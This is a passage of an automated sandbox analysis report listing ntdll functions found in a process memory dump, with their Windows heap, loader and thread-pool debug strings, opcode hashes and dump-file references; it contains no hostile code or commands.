                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: (UCRBlock->Size >= *Size)$HEAP: $HEAP[%wZ]:
                                    • API String ID: 0-4253913091
                                    • Opcode ID: 03fb8807aaf3621d670223bc47c6085814f8bfeaa30020267700cb6005bae2f1
                                    • Instruction ID: fc9e693ce227368cf41403ae5234287946e80d1f7bbab180d66b63f12f22fa91
                                    • Opcode Fuzzy Hash: 03fb8807aaf3621d670223bc47c6085814f8bfeaa30020267700cb6005bae2f1
                                    • Instruction Fuzzy Hash: 14F1CA74A00609DFEB04DF69C894BAAB7B1FF85354F1085A8E4159B3A1DB34F982CF91
                                    Function 3742F5B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 382COMMON
                                    Download Yara Rule
                                    Strings
                                    • RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 374702E7
                                    • RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 374702BD
                                    • RTL: Re-Waiting, xrefs: 3747031E
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
                                    • API String ID: 0-2474120054
                                    • Opcode ID: 294fbe6d253a205cbd558bd39b31a1fd05d15e934d5fb5d281ba057133b80e5d
                                    • Instruction ID: 762d9b61466ad69bdf0d4856cc9e567b23342a8007850ee63ed41b111128979e
                                    • Opcode Fuzzy Hash: 294fbe6d253a205cbd558bd39b31a1fd05d15e934d5fb5d281ba057133b80e5d
                                    • Instruction Fuzzy Hash: 68E19A75604785DFE310CF28C880B9AB7E0AF88764F500A6DF5A49B3A0DB75F856DB42
                                    Function 3743C720 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 141timeCOMMON
                                    Download Yara Rule
                                    APIs
                                    Strings
                                    • minkernel\ntdll\ldrinit.c, xrefs: 374782E8
                                    • Failed to reallocate the system dirs string !, xrefs: 374782D7
                                    • LdrpInitializePerUserWindowsDirectory, xrefs: 374782DE
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: DebugPrintTimes
                                    • String ID: Failed to reallocate the system dirs string !$LdrpInitializePerUserWindowsDirectory$minkernel\ntdll\ldrinit.c
                                    • API String ID: 3446177414-1783798831
                                    • Opcode ID: ecff066cca4df9aa807bae61aec1f1a7f651cb23229db09f1e270aa5f9930be5
                                    • Instruction ID: 702fb207f33963eab1f3debb88a8d9c345878241db8015c768f072c10f7a2d29
                                    • Opcode Fuzzy Hash: ecff066cca4df9aa807bae61aec1f1a7f651cb23229db09f1e270aa5f9930be5
                                    • Instruction Fuzzy Hash: E841C775645301ABE710DB64CC45BDB77E8AF88650F01492AF958E3290EB38F811CB93
                                    Function 37484755 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121timeCOMMON
                                    Download Yara Rule
                                    APIs
                                    Strings
                                    • LdrpCheckRedirection, xrefs: 3748488F
                                    • Import Redirection: %wZ %wZ!%s redirected to %wZ, xrefs: 37484888
                                    • minkernel\ntdll\ldrredirect.c, xrefs: 37484899
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: DebugPrintTimes
                                    • String ID: Import Redirection: %wZ %wZ!%s redirected to %wZ$LdrpCheckRedirection$minkernel\ntdll\ldrredirect.c
                                    • API String ID: 3446177414-3154609507
                                    • Opcode ID: 4521305cd15c2e6dbfd68b7b6d2f488edc259dd3372e55b33f29ebc574f284a1
                                    • Instruction ID: c18adc45424dc4400b0fa35758e7048265b714b08383db319777a7b6014f267e
                                    • Opcode Fuzzy Hash: 4521305cd15c2e6dbfd68b7b6d2f488edc259dd3372e55b33f29ebc574f284a1
                                    • Instruction Fuzzy Hash: 8141B07AA00759ABDB11CE5CE840A967BE4EF897A0F01055DEC48E7351E732F811CB92
                                    Function 374DB16B Relevance: 6.4, APIs: 4, Instructions: 450timeCOMMON
                                    Download Yara Rule
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: DebugPrintTimes
                                    • String ID:
                                    • API String ID: 3446177414-0
                                    • Opcode ID: 3a5bae3117d3c400880d169a8a8ae92f399bfb2b32d95ac0c171b66e6d547980
                                    • Instruction ID: e1150dca41efc0e44808578ab7f6ca1264e9d240fb5e1a53ec237c0acdc214ae
                                    • Opcode Fuzzy Hash: 3a5bae3117d3c400880d169a8a8ae92f399bfb2b32d95ac0c171b66e6d547980
                                    • Instruction Fuzzy Hash: C5F1F777E006118FDB08CF69C9A56BEBBF5AF88210B5A416DD496DB381E634F901CF50
                                    Function 373F76B2 Relevance: 6.3, Strings: 5, Instructions: 51COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlFreeHeap
                                    • API String ID: 0-3061284088
                                    • Opcode ID: e050b41d884fe1458caa2e3db82265a134493af2245d91c56e39bed83e9d3205
                                    • Instruction ID: 63024fefec1f847002014a7221666d3a7b03ad0dff52d68675f00b0b12016288
                                    • Opcode Fuzzy Hash: e050b41d884fe1458caa2e3db82265a134493af2245d91c56e39bed83e9d3205
                                    • Instruction Fuzzy Hash: E801F777014290DFF2158F28E449FA7B7D4DB42BB0F24409EE008876A1CF79B885CE62
                                    Function 374004E5 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 153timeCOMMON
                                    Download Yara Rule
                                    APIs
                                    Strings
                                    • kLsE, xrefs: 37400540
                                    • TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 3740063D
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: DebugPrintTimes
                                    • String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode$kLsE
                                    • API String ID: 3446177414-2547482624
                                    • Opcode ID: c7a31ccf8d6c4374c23350af4dab4d765bb3363a8eaeb32b4f80aabd7331caf9
                                    • Instruction ID: db885b57ca512899d1fd66e4eaecfa56f9960e5bbbe32771586610d79a9b777b
                                    • Opcode Fuzzy Hash: c7a31ccf8d6c4374c23350af4dab4d765bb3363a8eaeb32b4f80aabd7331caf9
                                    • Instruction Fuzzy Hash: 095178B960474A8BD324DF64C5406E7F7E5AF84324F008C3EE9AA87260E774B546CF92
                                    Function 3740B6C0 Relevance: 5.3, Strings: 4, Instructions: 303COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: LdrResGetRCConfig Enter$LdrResGetRCConfig Exit$MUI$\U=7
                                    • API String ID: 0-117671275
                                    • Opcode ID: b19fdf496fc2ae0082e33c3aaf5e98562a40914c64215f1e4a49d8e5fbc1dc8f
                                    • Instruction ID: d4bf91db1c78824c8b2bdecc3b556f1e96c9095e4acccc1bc98be25ab9e5150e
                                    • Opcode Fuzzy Hash: b19fdf496fc2ae0082e33c3aaf5e98562a40914c64215f1e4a49d8e5fbc1dc8f
                                    • Instruction Fuzzy Hash: 31B18A75A047849BEB15CF68C984BDDB7B6AF88B58F14882DE851EB380E734B841CF54
                                    Function 3740A3C0 Relevance: 5.3, Strings: 4, Instructions: 290COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: 6$8$LdrResFallbackLangList Enter$LdrResFallbackLangList Exit
                                    • API String ID: 0-379654539
                                    • Opcode ID: 80b463c589eb50554e5f86e654473512cc8ce834761ed9993ca51b6ab2470762
                                    • Instruction ID: f272710b1f8af6ee402c91e46c924edeb03f503bec7e57a5fc2b05f1817d76f5
                                    • Opcode Fuzzy Hash: 80b463c589eb50554e5f86e654473512cc8ce834761ed9993ca51b6ab2470762
                                    • Instruction Fuzzy Hash: 3FC16D792083829FE711CF14C184BAAB7E4BF84758F00496DF8958B351E738E94ACF52
                                    Function 37438402 Relevance: 5.3, Strings: 4, Instructions: 263COMMON
                                    Download Yara Rule
                                    Strings
                                    • minkernel\ntdll\ldrinit.c, xrefs: 37438421
                                    • \Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers, xrefs: 3743855E
                                    • LdrpInitializeProcess, xrefs: 37438422
                                    • @, xrefs: 37438591
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: @$LdrpInitializeProcess$\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers$minkernel\ntdll\ldrinit.c
                                    • API String ID: 0-1918872054
                                    • Opcode ID: 437ce7b39f249dc27e1c3dac0319480b87c95da32b2be4ce4d728876e2783ede
                                    • Instruction ID: e9948495f64c85ec0911e8ceb8e667e4735d1c8c21b5c7b544b6c2bd6e8e1a8f
                                    • Opcode Fuzzy Hash: 437ce7b39f249dc27e1c3dac0319480b87c95da32b2be4ce4d728876e2783ede
                                    • Instruction Fuzzy Hash: DE914B71949384AFF721DF60C840EEBB6ECAF88794F40092EF58896150E738E9149B63
                                    Function 3743273C Relevance: 5.2, Strings: 4, Instructions: 249COMMON
                                    Download Yara Rule
                                    Strings
                                    • .Local, xrefs: 374328D8
                                    • SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p, xrefs: 374722B6
                                    • SXS: %s() passed the empty activation context, xrefs: 374721DE
                                    • RtlpGetActivationContextDataStorageMapAndRosterHeader, xrefs: 374721D9, 374722B1
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: .Local$RtlpGetActivationContextDataStorageMapAndRosterHeader$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p$SXS: %s() passed the empty activation context
                                    • API String ID: 0-1239276146
                                    • Opcode ID: e7a90fbb9a39fb1bc06a1af860043651742f46b16522a75dd0c5f671084578f9
                                    • Instruction ID: 9cfe171a9769fa47e14ebf44120c94b2e27b3beb7a5ca803075c282f2f068f10
                                    • Opcode Fuzzy Hash: e7a90fbb9a39fb1bc06a1af860043651742f46b16522a75dd0c5f671084578f9
                                    • Instruction Fuzzy Hash: 5BA1AC75A02229DBEB24CF64D884BD9B3B4BF59324F1105EAD818AB350D730BE91CF91
                                    Function 3740B440 Relevance: 5.2, Strings: 4, Instructions: 221COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: LdrpResGetResourceDirectory Enter$LdrpResGetResourceDirectory Exit$\U=7${
                                    • API String ID: 0-86346633
                                    • Opcode ID: cf8a1cac922a7da1d8f062fc79cd98c91616507da0555f132ad68834a3857557
                                    • Instruction ID: 8281cf56414b335149d7315b82d75328c34d17480070143c0782454b90277a9c
                                    • Opcode Fuzzy Hash: cf8a1cac922a7da1d8f062fc79cd98c91616507da0555f132ad68834a3857557
                                    • Instruction Fuzzy Hash: 9891BFB9A00349CBEB11CF54C840BEEB7B0EF05768F5585A9E810AB390D778BA41CF95
                                    Function 374064AB Relevance: 5.2, Strings: 4, Instructions: 211COMMON
                                    Download Yara Rule
                                    Strings
                                    • ThreadPool: callback %p(%p) returned with background priorities set, xrefs: 374610AE
                                    • ThreadPool: callback %p(%p) returned with the loader lock held, xrefs: 37461028
                                    • ThreadPool: callback %p(%p) returned with preferred languages set, xrefs: 3746106B
                                    • ThreadPool: callback %p(%p) returned with a transaction uncleared, xrefs: 37460FE5
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: ThreadPool: callback %p(%p) returned with a transaction uncleared$ThreadPool: callback %p(%p) returned with background priorities set$ThreadPool: callback %p(%p) returned with preferred languages set$ThreadPool: callback %p(%p) returned with the loader lock held
                                    • API String ID: 0-1468400865
                                    • Opcode ID: b69b089dcf47adeecdf0335994f2dce9e941421a5ae31d579a6a33e3c8452a12
                                    • Instruction ID: f1890486c2762548310bd8b61bfa8f82ef3fb41b234ec102819af61e439b7f39
                                    • Opcode Fuzzy Hash: b69b089dcf47adeecdf0335994f2dce9e941421a5ae31d579a6a33e3c8452a12
                                    • Instruction Fuzzy Hash: C671BDB1904344AFE710DF14D884FCBBBA8AF857A4F410868F9498B246D739E589DF93
                                    Function 373FF626 Relevance: 5.2, Strings: 4, Instructions: 188COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: HEAP: $HEAP[%wZ]: $ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)$`
                                    • API String ID: 0-2586055223
                                    • Opcode ID: be894a5867eb7fef94cb7683e4a7aa39006c953d4535d1d8e6c1f4cd00c9bd26
                                    • Instruction ID: c6d62a4d3b3398f9f9dbcfafff52882cd11a51067a81979e01b2bb63634d9aab
                                    • Opcode Fuzzy Hash: be894a5867eb7fef94cb7683e4a7aa39006c953d4535d1d8e6c1f4cd00c9bd26
                                    • Instruction Fuzzy Hash: 4661D0B6244781AFE311CF64C844FA777E9EF847A4F040469E9988B391DB38F845CB66
                                    Function 37441270 Relevance: 5.1, Strings: 4, Instructions: 97COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: @$BuildLabEx$EC7$\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion
                                    • API String ID: 0-1713132285
                                    • Opcode ID: 4dd0507e6de23adeaafdd13239ae3a95ee5485203228978708ef77071a5cdf2e
                                    • Instruction ID: 9bd0c74a5c4ee1c6bb340e571e296dd4b8ce658281f15af30a9dda51391abff0
                                    • Opcode Fuzzy Hash: 4dd0507e6de23adeaafdd13239ae3a95ee5485203228978708ef77071a5cdf2e
                                    • Instruction Fuzzy Hash: 39315E72900659AFFB119F95CC40EEEBBBDEB84750F004429E914A7260EB34FA05AB91
                                    Function 37401460 Relevance: 4.1, Strings: 3, Instructions: 385COMMON
                                    Download Yara Rule
                                    Strings
                                    • HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 37401728
                                    • HEAP[%wZ]: , xrefs: 37401712
                                    • HEAP: , xrefs: 37401596
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
                                    • API String ID: 0-3178619729
                                    • Opcode ID: 4eccbf48be7417f52a5a317e0ceb913edc548723d4d7be3722f2364be248f2ec
                                    • Instruction ID: 8571359654cec2eaf9b829680ff9079c5b8f104bab5e796d5334553817cf96cc
                                    • Opcode Fuzzy Hash: 4eccbf48be7417f52a5a317e0ceb913edc548723d4d7be3722f2364be248f2ec
                                    • Instruction Fuzzy Hash: 32E1DF74A043459BE715CF68C491BBEFBE1AF88320F14896EE8968B345EB34F941CB51
                                    Function 3748368C Relevance: 4.0, Strings: 3, Instructions: 292COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: @$DelegatedNtdll$\SystemRoot\system32\
                                    • API String ID: 0-2391371766
                                    • Opcode ID: eb238e94b0f2deaecbe8c342edcbbfe4bb9a5c76a739021c4eb83abb5490119f
                                    • Instruction ID: 2e55d8c4dba6140c1494d6ec29ae19ddc92e53dfed810f41b0181b176f9c2f03
                                    • Opcode Fuzzy Hash: eb238e94b0f2deaecbe8c342edcbbfe4bb9a5c76a739021c4eb83abb5490119f
                                    • Instruction Fuzzy Hash: 69B19EB2604349BFE311DF54C880F9BB7E8AB49764F41482DF958AB240E776F814CB92
                                    Function 374936EE Relevance: 4.0, Strings: 3, Instructions: 236COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: @$LdrpResMapFile Enter$LdrpResMapFile Exit
                                    • API String ID: 0-318774311
                                    • Opcode ID: 03af940b9ece021a5259c53b9911fff6cd7c074f19692189b7dcc4e3fcc7dd36
                                    • Instruction ID: b59e4c05435b4c136c9090138a4b0d2c90f5c296278bac0d8edba58e32ed826e
                                    • Opcode Fuzzy Hash: 03af940b9ece021a5259c53b9911fff6cd7c074f19692189b7dcc4e3fcc7dd36
                                    • Instruction Fuzzy Hash: 6D814CB5608341AFE311CB14C844BEABBE9EF8B750F40496DF99497390EB74F9048B62
                                    Function 37487410 Relevance: 4.0, Strings: 3, Instructions: 233COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: Objects=%4u$Objects>%4u$VirtualAlloc
                                    • API String ID: 0-3870751728
                                    • Opcode ID: 40af8fb68c042933a90b46d7a46145db4b23dd00ef310006def7de1afc0a61a3
                                    • Instruction ID: 021400d5eae2d3ad9f5e48dd980b750a080e863a3c9905afaf1b82c3fd12b4ce
                                    • Opcode Fuzzy Hash: 40af8fb68c042933a90b46d7a46145db4b23dd00ef310006def7de1afc0a61a3
                                    • Instruction Fuzzy Hash: 5A913BB4E00219ABEB15CF98C5907EDBBB1BF48354F14C16ED904AB351E775A842CF51
                                    Function 374DB73C Relevance: 3.9, Strings: 3, Instructions: 180COMMON
                                    Download Yara Rule
                                    Strings
                                    • GlobalizationUserSettings, xrefs: 374DB834
                                    • TargetNtPath, xrefs: 374DB82F
                                    • \Registry\Machine\SYSTEM\CurrentControlSet\Control\International, xrefs: 374DB82A
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: GlobalizationUserSettings$TargetNtPath$\Registry\Machine\SYSTEM\CurrentControlSet\Control\International
                                    • API String ID: 0-505981995
                                    • Opcode ID: 72fc58d0c751d2124891782d3c025d73af0efa3d8eeb3599993c2a3fc6e0924e
                                    • Instruction ID: a17dcc35fbd9d86bcb49ac240dc99fb0b181836f74536ed2b2d0abc2f52d74db
                                    • Opcode Fuzzy Hash: 72fc58d0c751d2124891782d3c025d73af0efa3d8eeb3599993c2a3fc6e0924e
                                    • Instruction Fuzzy Hash: BE61B172D41228ABDB21DF54CC98BD9B7B9EF09710F4101E9E548A7251DB78AE84CF90
                                    Function 373FF7BA Relevance: 3.9, Strings: 3, Instructions: 167COMMON
                                    Download Yara Rule
                                    Strings
                                    • RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 3745E6C6
                                    • HEAP[%wZ]: , xrefs: 3745E6A6
                                    • HEAP: , xrefs: 3745E6B3
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
